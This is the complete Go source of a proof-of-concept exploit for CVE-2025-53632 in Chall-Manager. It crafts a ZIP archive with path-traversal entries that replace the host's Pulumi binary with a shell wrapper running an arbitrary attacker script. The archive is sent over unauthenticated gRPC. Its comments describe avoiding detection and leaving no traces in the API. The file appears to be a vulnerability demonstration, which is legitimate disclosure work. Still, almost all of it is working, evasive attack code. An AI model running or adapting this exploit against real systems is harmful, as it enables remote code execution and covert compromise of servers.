README.md
Rendering markdown...
package main
import (
"archive/tar"
"archive/zip"
"bytes"
"compress/gzip"
"context"
"encoding/base64"
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"github.com/ctfer-io/chall-manager/api/v1/challenge"
"github.com/pkg/errors"
"github.com/urfave/cli/v3"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
)
const (
pulumiBinary = "pulumi_3.144.1"
scenarioDir = "scenario"
// The context directory is /tmp/chall-manager/chall/<hash>/scenario/<hash>
// -> need to move up 6 directories to reach root
escapePrefix = "../../../../../.."
)
func main() {
app := cli.Command{
Name: "CVE-2025-53632",
Usage: "Exploit demonstration for CVE-2025-53632 (CVSS v4.0: CVSS-B 8.8 HIGH / CVSS v3.1: 9.1 CRITICAL).",
Flags: []cli.Flag{
&cli.StringFlag{
Name: "url",
Usage: "The URL to reach out Chall-Manager over gRPC.",
Required: true,
},
&cli.StringFlag{
Name: "script",
Usage: "An optional script to run before the Pulumi command. This contains the commands you want to run onn Chall-Manager host.",
},
},
Authors: []any{
"Lucas Tesson - Pandatix <[email protected]>",
},
Action: exploit,
}
ctx := context.Background()
if err := app.Run(ctx, os.Args); err != nil {
log.Fatal(err)
}
}
func exploit(ctx context.Context, cmd *cli.Command) error {
// Prepare the malicious ZIP archive
fmt.Println("[+] Creating scenario")
zipb64, err := craftScenario(ctx, cmd.String("script"))
if err != nil {
return err
}
// Create a malicious challenge on Chall-Manager
fmt.Println("[+] Creating malicious challenge")
cli, err := grpc.NewClient(cmd.String("url"), grpc.WithTransportCredentials(insecure.NewCredentials()))
if err != nil {
return err
}
store := challenge.NewChallengeStoreClient(cli)
// don't check errors, it'll be fine (we voluntarly make it crash to avoid letting traces in the API)
_, _ = store.CreateChallenge(ctx, &challenge.CreateChallengeRequest{
Id: "malicious",
Scenario: zipb64,
})
fmt.Println("Script should have run by now !")
return nil
}
func craftScenario(ctx context.Context, script string) (string, error) {
// Download or load Pulumi v3.144.1 (https://github.com/ctfer-io/chall-manager/blob/v0.1.3/Dockerfile.chall-manager#L26)
p31441, err := loadPulumi3_144_1(ctx)
if err != nil {
return "", err
}
buf := bytes.NewBuffer(nil)
zw := zip.NewWriter(buf)
// Wrap a legit Pulumi scenario
if err := filepath.Walk(scenarioDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if info.IsDir() {
return nil
}
// Ensure the header reflects the file's path within the zip archive
fs, err := filepath.Rel(filepath.Dir(scenarioDir), path)
if err != nil {
return err
}
f, err := zw.Create(fs)
if err != nil {
return err
}
// Open the file
file, err := os.Open(path)
if err != nil {
return err
}
defer file.Close()
// Copy the file's contents into the archive
_, err = io.Copy(f, file)
if err != nil {
return err
}
return nil
}); err != nil {
return "", err
}
// Copy a well-working Pulumi program to keep being undetected
header := &zip.FileHeader{
Name: escapePrefix + "/bin/pulumi",
Method: zip.Deflate,
}
writer, err := zw.CreateHeader(header)
if err != nil {
return "", err
}
if _, err := writer.Write(p31441); err != nil {
return "", err
}
// Then create the tampered pulumi program
header = &zip.FileHeader{
Name: escapePrefix + "/pulumi/bin/pulumi", // let's replace existing one
Method: zip.Deflate,
}
writer, err = zw.CreateHeader(header)
if err != nil {
return "", err
}
if _, err = writer.Write([]byte("#!/bin/sh\n" + script + "\n/bin/pulumi \"$@\"\nexit $?;#\n")); err != nil {
return "", err
}
// Close the zip to flush bytes in the bytes buffer
if err := zw.Close(); err != nil {
return "", err
}
// Encode it base 64
return base64.StdEncoding.EncodeToString(buf.Bytes()), nil
}
// Keeping the same Pulumi version is important so we don't break the API models...
// It wouldn't be cool to get catched as soon as we exploit :'(
func loadPulumi3_144_1(ctx context.Context) ([]byte, error) {
_, err := os.Stat(pulumiBinary)
if err != nil {
if os.IsNotExist(err) {
fmt.Println(" Pulumi v3.144.1 does not seem to exist yet, downloading it...")
if err := downloadPulumi3_144_1(ctx); err != nil {
return nil, err
}
} else {
return nil, err
}
}
// Load from file system
return os.ReadFile(pulumiBinary)
}
func downloadPulumi3_144_1(ctx context.Context) error {
// Download it
req, _ := http.NewRequestWithContext(ctx, http.MethodGet, "https://github.com/pulumi/pulumi/releases/download/v3.144.1/pulumi-v3.144.1-linux-x64.tar.gz", nil)
res, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
defer res.Body.Close()
if res.StatusCode != http.StatusOK {
return errors.New("GitHub responded with non-200 status code when downloading Pulumi v3.144.1")
}
// Untar the file to store it on disk for future usage
gzr, err := gzip.NewReader(res.Body)
if err != nil {
return err
}
defer gzr.Close()
tr := tar.NewReader(gzr)
for {
header, err := tr.Next()
if err == io.EOF {
break
}
if err != nil {
return err
}
if header.Name == "pulumi/pulumi" {
out, err := os.OpenFile(pulumiBinary, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
return err
}
defer out.Close()
if _, err := io.Copy(out, tr); err != nil {
return err
}
break // no need to keep reading
}
}
return nil
}